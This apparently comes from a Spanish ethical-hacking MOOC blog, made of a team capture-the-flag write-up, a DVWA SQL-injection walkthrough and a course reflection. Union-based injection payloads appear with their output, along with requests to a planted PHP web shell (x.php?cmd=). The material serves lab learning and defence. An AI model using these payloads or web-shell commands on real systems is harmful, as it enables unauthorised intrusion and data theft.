Hacking Ético, El RETO de #moocHackingMU

El reto se desarrollará en dos fases:
  • 1a fase [6 al 12 de octubre]: formaréis equipos de 8 que a su vez se dividirán en dos subequipos (4 y 4): uno encargado de atacar a otros equipos y el otro de “defenderse” de los ataques del resto de equipos. Se proporcionará a cada equipo acceso a un VPS con un servidor web preinstalado y una página web simple (en cuanto a diseño y funcionalidad) pero completa en lo que a proporcionar mecanismos para que pueda ser atacada se refiere.
  • 2a fase [13 al 23 de octubre]: pondremos a prueba vuestro potencial y descubriremos si todo el trabajo anterior os dirige al camino de “El Elegido”. Durante esta segunda fase se harán públicos los sitios web de cada equipo y se pasará a la fase de ‘ataque’. Los equipos, además de detectar vulnerabilidades de otros equipos y guardar evidencias de ello, tendréis que evitar ataques por parte de vuestros compañeros.
Durante la primera fase del reto se compuso el equipo. Para ello se colgó una entrada en el foro informando de la creación de nuestro grupo y solicitando la participación de compañeros hasta completarlo. En un principio, cuando se envió la inscripción el grupo lo componíamos ocho personas.

Para la gestión de los componentes del grupo se creó un grupo de google moocHack7 y mediante la participación en dicho grupo se obtenían los datos de acceso al servidor y otros documentos.

Durante el proceso, la contraseña del servidor fue modificada por motivos de seguridad, puesto que uno de los miembros del grupo lo abandonó después de tener acceso al servidor (IP y password). A partir de ese momento pasamos a ser siete integrantes. 
Finalmente, aunque siete personas aceptan participar en el reto, solamente tres hemos sacado adelante el proyecto, puesto que el resto no ha realizado actividad alguna.

Los integrantes iniciales del equipo fueron: P. Perez, A. Sanchez, Cx.Chuqui, D. Hernández, Pumori3, Alberto Iglesias, Maite Monasterio, Sergio Martín. Los cinco primeros, son los que no han realizado actividad alguna.

Durante la segunda fase intentamos conseguir más integrantes, pero no fue posible, así que las tres personas que quedábamos tuvimos que defender y realizar los ataques. El primer paso fue defender nuestro servidor, para ello instalamos la aplicación fail2ban y se configuró para evitar posibles ataques por fuerza bruta. 

Se realizó una exploración de puertos y servicios activos en el servidor mediante la aplicación nmap, detectándose vulnerabilidades en el puerto 21 (ftp). En la base de datos de vulnerabilidades (NVD) se detectaron fallos en la aplicación cactis y gitlist instaladas y accesibles desde el frontend. 

nmap Análisis de puertos abiertos

PORT  STATE SERVICE   VERSION

21/tcp   open  ftp    vsftpd 2.3.5

22/tcp   open  ssh    OpenSSH 6.0p1 Debian 4+deb7u2 (protocol 2.0)

80/tcp   open  http   Apache httpd 2.2.22 ((Debian))

8000/tcp open  http-alt?

Para solventar la vulnerabilidad del puerto ftp, se desactivó el acceso público (cuenta anonymous) que daba acceso al fichero mooc-hacking-team-0065-level-02.gpg

1/tcp open  ftp      vsftpd 2.3.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 0     0         1026 Oct 07 08:15 mooc-hacking-team-0065-level-02.gpg

Para cambiar la configuración, era necesario modificar el fichero /etc/vsftpd.conf

# Allow anonymous FTP? (Disabled by default).
anonymous_enable=YES -> cambiar a NO

Otra de las tareas a realizar era modificar la web con un logo.

Aspecto final servidor web.


En cada servidor el consejo dejo 3 archivos ocultos que se deberían localizar en cada servidor.

Localización de cada archivo cifrado.

root@team-0065:/# find / -name *.gpg
/usr/share/doc/base-files/mooc-hacking-team-0065-level-01.gpg
/srv/ftp/mooc-hacking-team-0065-level-02.gpg
/var/lib/mysql/mooc-hacking-team-0065-level-03.gpg
root@team-0065:/#

La tarea del ataque, se comenzó con la vulnerabilidad más fácil, el ftp. Descargando los archivos de los servidores que tuvieran esta vulnerabilidad. De un total de 72 servidores (5 casi siempre apagados), por lo que nos dejaba 67 posibles víctimas, se consiguieron obtener 25.

level-02

listado de archivos conseguidos y enviado al consejo:

mooc-hacking-team-0003-level-02.gpg
mooc-hacking-team-0010-level-02.gpg
mooc-hacking-team-0025-level-02.gpg
mooc-hacking-team-0028-level-02.gpg
mooc-hacking-team-0035-level-02.gpg
mooc-hacking-team-0039-level-02.gpg
mooc-hacking-team-0042-level-02.gpg
mooc-hacking-team-0044-level-02.gpg
mooc-hacking-team-0051-level-02.gpg
mooc-hacking-team-0052-level-02.gpg
mooc-hacking-team-0053-level-02.gpg
mooc-hacking-team-0055-level-02.gpg
mooc-hacking-team-0057-level-02.gpg
mooc-hacking-team-0058-level-02.gpg
mooc-hacking-team-0059-level-02.gpg
mooc-hacking-team-0060-level-02.gpg
mooc-hacking-team-0063-level-02.gpg
mooc-hacking-team-0064-level-02.gpg
mooc-hacking-team-0069-level-02.gpg
mooc-hacking-team-0070-level-02.gpg
mooc-hacking-team-0071-level-02.gpg
mooc-hacking-team-0072-level-02.gpg
mooc-hacking-team-0074-level-02.gpg
mooc-hacking-team-0075-level-02.gpg
mooc-hacking-team-0077-level-02.gpg

Una vez hechos públicos los servidores, comenzaron los ataques y nuestro servidor también fue atacado. Investigando los logs de acceso (access.log y access.log.1) y de errores (error.log y error.log.1) se detectaron unos registros de una ejecución .php que resultaba sospechosa, puesto que aparecía reiteradamente. Analizar los registros nos permitió detectar y localizar la vulnerabilidad que tenia nuestro servidor y posiblemente los otros. 

/usr/share/cacti/site/include/csrf/csrf-magic.php
/var/www/gitlist/cache/jkn.php
ip servidor/gitlist/cache/x.php?cmd=find%20/%20-type%20f%20-name%20mooc*gpg

El archivo x.php, creaba una consola y permitía ejecutar comandos linux y el resultado se mostraba en la página. El otro archivo jkn.php, localizaba los archivos en el servidor y permitía descargar cada archivo.

Ejemplo 1: x.php?cmd=ls , listaba las carpetas y archivos del servidor.

Resultado: archives jkn.php output.txt salida.txt views x.php z.php

Ejemplo 2: x.php?cmd=find%20/%20-type%20f%20-name%20mooc*gpg buscaba la ubicación de los tres archivos.

Resultado: /usr/share/doc/base-files/mooc-hacking-team-0065-level-01.gpg /srv/ftp/mooc-hacking-team-0065-level-02.gpg /var/lib/mysql/mooc-hacking-team-0065-level-03.gpg

Mediante el otro código php, se analizo el contenido y se averiguó cómo obtener los archivos.

Ip servidor/gitlist/cache/jkn.php?

Resultado: Define level

Si se define el nivel en la consulta a ejecutar /gitlist/cache/jkn.php?level=1, el resultado es una ventana donde se descarga el primer archivo. Modificando el nivel por 2 o 3 se obtendrían el resto de archivos.

Igualmente que se obtenían los archivos de nuestro servidor, es de esperar que sucediera lo mismo con el resto de servidores. Así fue como se consiguió obtener los archivos level-01 y level-03 de otros servidores.

level-01

listado de archivos conseguidos y enviado al consejo:

mooc-hacking-team-0028-level-01.gpg
mooc-hacking-team-0035-level-01.gpg
mooc-hacking-team-0039-level-01.gpg
mooc-hacking-team-0042-level-01.gpg
mooc-hacking-team-0044-level-01.gpg
mooc-hacking-team-0051-level-01.gpg
mooc-hacking-team-0053-level-01.gpg
mooc-hacking-team-0057-level-01.gpg
mooc-hacking-team-0058-level-01.gpg
mooc-hacking-team-0059-level-01.gpg
mooc-hacking-team-0063-level-01.gpg
mooc-hacking-team-0064-level-01.gpg
mooc-hacking-team-0069-level-01.gpg
mooc-hacking-team-0071-level-01.gpg
mooc-hacking-team-0072-level-01.gpg
mooc-hacking-team-0074-level-01.gpg
mooc-hacking-team-0075-level-01.gpg
mooc-hacking-team-0077-level-01.gpg

level-03

listado de archivos conseguidos y enviado al consejo:

mooc-hacking-team-0035-level-03.gpg
mooc-hacking-team-0039-level-03.gpg
mooc-hacking-team-0044-level-03.gpg
mooc-hacking-team-0053-level-03.gpg
mooc-hacking-team-0057-level-03.gpg
mooc-hacking-team-0058-level-03.gpg
mooc-hacking-team-0059-level-03.gpg
mooc-hacking-team-0064-level-03.gpg
mooc-hacking-team-0069-level-03.gpg
mooc-hacking-team-0072-level-03.gpg
mooc-hacking-team-0075-level-03.gpg
mooc-hacking-team-0077-level-03.gpg

Los logros obtenidos, fueron:
  • level-01 18/67 (mooc-hacking-team-xxxx-level-01.gpg)
  • level-02 25/67 (mooc-hacking-team-xxxx-level-02.gpg)
  • level-03 12/67 (mooc-hacking-team-xxxx-level-03.gpg)

Me gustaría mostrar desde aquí mi más sincero agradecimiento a Alberto y Maite por el gran trabajo que han realizado.

Hacking Ético, Descifrando el Enigma

Para resolver el enigma tenéis que poner en práctica los conocimientos adquiridos en las tareas anteriores. En primer lugar debes descarga el archivo de texto Enigma.txt.gpg. En este archivo tienes la información que buscas. Está cifrado con un protocolo simétrico, así que necesitas la clave con la que ha sido cifrado.

Para conseguir la clave, debes acceder a http://pruebas.euskalert.net y demostrar las destrezas adquiridas en tareas anteriores. Yoda te da una pista importante:


Para resolver el enigma, seguiremos los pasos de la tarea 2 de la segunda unidad SQL Injection utilizando los mismos datos de usuario / contraseña y configurando el nivel de seguridad a bajo.

Primero obtendremos la versión de la base de datos, la sentencia a enviar es:

%' or 0=0 union select null, version() #

ID: %' or 0=0 union select null, version() #
First name: admin
Surname: admin

ID: %' or 0=0 union select null, version() #
First name: Gordon
Surname: Brown

ID: %' or 0=0 union select null, version() #
First name: Hack
Surname: Me

ID: %' or 0=0 union select null, version() #
First name: Pablo
Surname: Picasso

ID: %' or 0=0 union select null, version() #
First name: Bob
Surname: Smith

ID: %' or 0=0 union select null, version() #
First name: 
Surname: 5.5.44-0+deb8u1

La version de la base de datos mysql es: Surname: 5.5.44-0+deb8u1

El usuario de la base de datos que ejecuta el código php, cuya sentencia es: %' or 0=0 union select null, user() #
 
ID: %' or 0=0 union select null, user() #
First name: admin
Surname: admin

ID: %' or 0=0 union select null, user() #
First name: Gordon
Surname: Brown

ID: %' or 0=0 union select null, user() #
First name: Hack
Surname: Me

ID: %' or 0=0 union select null, user() #
First name: Pablo
Surname: Picasso

ID: %' or 0=0 union select null, user() #
First name: Bob
Surname: Smith

ID: %' or 0=0 union select null, user() #
First name: 
Surname: dvwa@localhost

El nombre de usuario que ejecuta el código php es: dvwa@localhost

El siguiente punto es obtener el nombre de la base de datos. %' or 0=0 union select null, database() #

ID:  %' or 0=0 union select null, database() #
First name: admin
Surname: admin

ID:  %' or 0=0 union select null, database() #
First name: Gordon
Surname: Brown

ID:  %' or 0=0 union select null, database() #
First name: Hack
Surname: Me

ID:  %' or 0=0 union select null, database() #
First name: Pablo
Surname: Picasso

ID:  %' or 0=0 union select null, database() #
First name: Bob
Surname: Smith

ID:  %' or 0=0 union select null, database() #
First name: 
Surname: dvwa

El nombre de la base de datos es: dvwa

Listar todas las tablas de la base de datos. %' and 1=0 union select null, table_name from information_schema.tables # 
 
ID: %' and 1=0 union select null, table_name from information_schema.tables # 

First name: 
Surname: CHARACTER_SETS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: COLLATIONS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: COLLATION_CHARACTER_SET_APPLICABILITY

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: COLUMNS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: COLUMN_PRIVILEGES

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: ENGINES

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: EVENTS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: FILES

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: GLOBAL_STATUS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: GLOBAL_VARIABLES

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: KEY_COLUMN_USAGE

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: PARAMETERS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: PARTITIONS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: PLUGINS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: PROCESSLIST

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: PROFILING

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: REFERENTIAL_CONSTRAINTS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: ROUTINES

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: SCHEMATA

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: SCHEMA_PRIVILEGES

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: SESSION_STATUS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: SESSION_VARIABLES

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: STATISTICS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: TABLES

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: TABLESPACES

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: TABLE_CONSTRAINTS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: TABLE_PRIVILEGES

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: TRIGGERS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: USER_PRIVILEGES

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: VIEWS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: INNODB_BUFFER_PAGE

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: INNODB_TRX

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: INNODB_BUFFER_POOL_STATS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: INNODB_LOCK_WAITS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: INNODB_CMPMEM

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: INNODB_CMP

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: INNODB_LOCKS

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: INNODB_CMPMEM_RESET

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: INNODB_CMP_RESET

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: INNODB_BUFFER_PAGE_LRU

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: guestbook

ID: %' and 1=0 union select null, table_name from information_schema.tables # 
First name: 
Surname: users 

Tablas que contenga el prefijo user.

Setencia SQL %' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'#

ID: Setencia SQL %' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'#
First name: 
Surname: USER_PRIVILEGES
ID: Setencia SQL %' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'# First name: Surname: users

De la misma manera (enviando consultas SQL) obtendríamos información de la tablas que su contenido sea 'user', passwords, etc.

Pero si recordamos lo que decía el maestro Yoda, el nombre de la tabla es 'guestbook' que contenido albergará?

 La sentencia SQL para listar las columnas de la tabla 'guestbook' es:

%' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'guestbook' #

ID: %' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'guestbook' #
First name: 
Surname: guestbook
comment_id

ID: %' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'guestbook' #
First name: 
Surname: guestbook
comment

ID: %' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'guestbook' #
First name: 
Surname: guestbook
name

Visualizar el contenido de la tabla guestbook.

%' and 1=0 union select null, concat(comment_id,0x0a,comment,0x0a,name,0x0a) from guestbook #

ID: %' and 1=0 union select null, concat(comment_id,0x0a,comment,0x0a,name,0x0a) from guestbook #
First name: 
Surname: 1
This is a test comment.
test

ID: %' and 1=0 union select null, concat(comment_id,0x0a,comment,0x0a,name,0x0a) from guestbook #
First name: 
Surname: 2
These aren't the droids you'r looking for...
Obi-Wan Kenobi

ID: %' and 1=0 union select null, concat(comment_id,0x0a,comment,0x0a,name,0x0a) from guestbook #
First name: 
Surname: 3
The key is "use the force", Luke.
Yoda

ID: %' and 1=0 union select null, concat(comment_id,0x0a,comment,0x0a,name,0x0a) from guestbook #
First name: 
Surname: 4
Han Solo shot first!
Anonymous bystander

ID: %' and 1=0 union select null, concat(comment_id,0x0a,comment,0x0a,name,0x0a) from guestbook #
First name: 
Surname: 5
Master Kenobi, you disappoint me. Yoda holds you in such high steem. Surely you can do better!
Count Dooku

ID: %' and 1=0 union select null, concat(comment_id,0x0a,comment,0x0a,name,0x0a) from guestbook #
First name: 
Surname: 6
At last we will reveal ourselves to the Jedi. At last we will have revenge.
Darth Maul

ID: %' and 1=0 union select null, concat(comment_id,0x0a,comment,0x0a,name,0x0a) from guestbook #
First name: 
Surname: 10
Its a trap!
Admiral Ackbar

De toda la información de la tabla, algo curioso es [The key is "use the force", Luke. Yoda], tal vez la clave sea "use the force" para descifrar el enigma.

Para descifrar el fichero, procederemos tal y como se realizó en la tarea 3 de la unidad 1.

Sí todo ha ido bien, aparecera un mensaje similar a este.

sergio@tux:~$ gpg2 --decrypt Enigma.gpg > resultado_enigma.txt
gpg: datos cifrados CAST5
gpg: cifrado con 1 frase contraseña
gpg: ATENCIÓN: la intgridad del mensaje no está protegida
sergio@tux:~$ 

En caso contrario, mostrara un mensaje de Llave de sesión no valida.

sergio@tux:~/ownCloud/mooc_hacking$ gpg2 --decrypt Enigma.gpg > resultado_enigma.txt
gpg: datos cifrados CAST5
gpg: cifrado con 1 frase contraseña
gpg: DBG: borrada frase de paso en caché con ID: SD406FC57F94A64FD
gpg: descifrado fallido: Llave de sesión inválida
sergio@tux:~$ 

El mensaje descifrado fue el siguiente:

¡Enhorabuena! Has resuelto el enigma... ya puedes solicitar audiencia con el Consejo Jedi:
https://www.facebook.com/groups/consejojedimu/






Hacking Ético, Unidad 2 - Tarea 4: Actividad de reflexión

La cuarta tarea de la unidad 2, es una reflexión de lo aprendido anteriormente en la unidad 1 y unidad 2 tareas 1 y 2.

Para analizar las posibles vulnerabilidades de un servidor, lo primero que deberíamos de realizar es obtener información de dicho servidor.

Con unos comandos básicos ping, whois y nmap, se puede obtener: la dirección IP del servidor, dirección, persona de contacto, teléfono, dirección de correo, etc. Con toda la información obtenida, se podría llegar a utilizar para conseguir información confidencial.

Por otro lado, mediante nmap descubriremos que puertos y servicios están disponibles en el servidor y así analizar posibles vulnerabilidades.

Cifrar, firmar un correo electrónico o cifrar determinados archivos, nos proporcionan integridad, privacidad, confidencialidad y autenticación del contenido. Mediante la aplicación gpg hemos aprendido a generar una clave publica, crear y compartir archivos cifrados y desencriptar un archivo cifrado de un tercero, siempre y cuando antes hayamos importado su clave publica.

En la segunda unidad, se ha trabajado el análisis de protocolos mediante la aplicación Wireshark. Con el análisis efectuado, se pudo obtener el nombre de usuario y contraseña del puerto ftp, comandos utilizados y sistema operativo.

Enlazado con el cifrado, se analizó los protocolos SSL y SSH, dado que son cifrados la poca información obtenida fue la versión de ssh, el serial number y la empresa que ha emitido el certificado.

Sí en la primera unidad utilizábamos comandos para obtener información del servidor, en la segunda unidad practicamos con la inyección de SQL que permite recuperar información de las bases de datos, tablas y contenidos. De esta manera enlazamos con descifrar el enigma.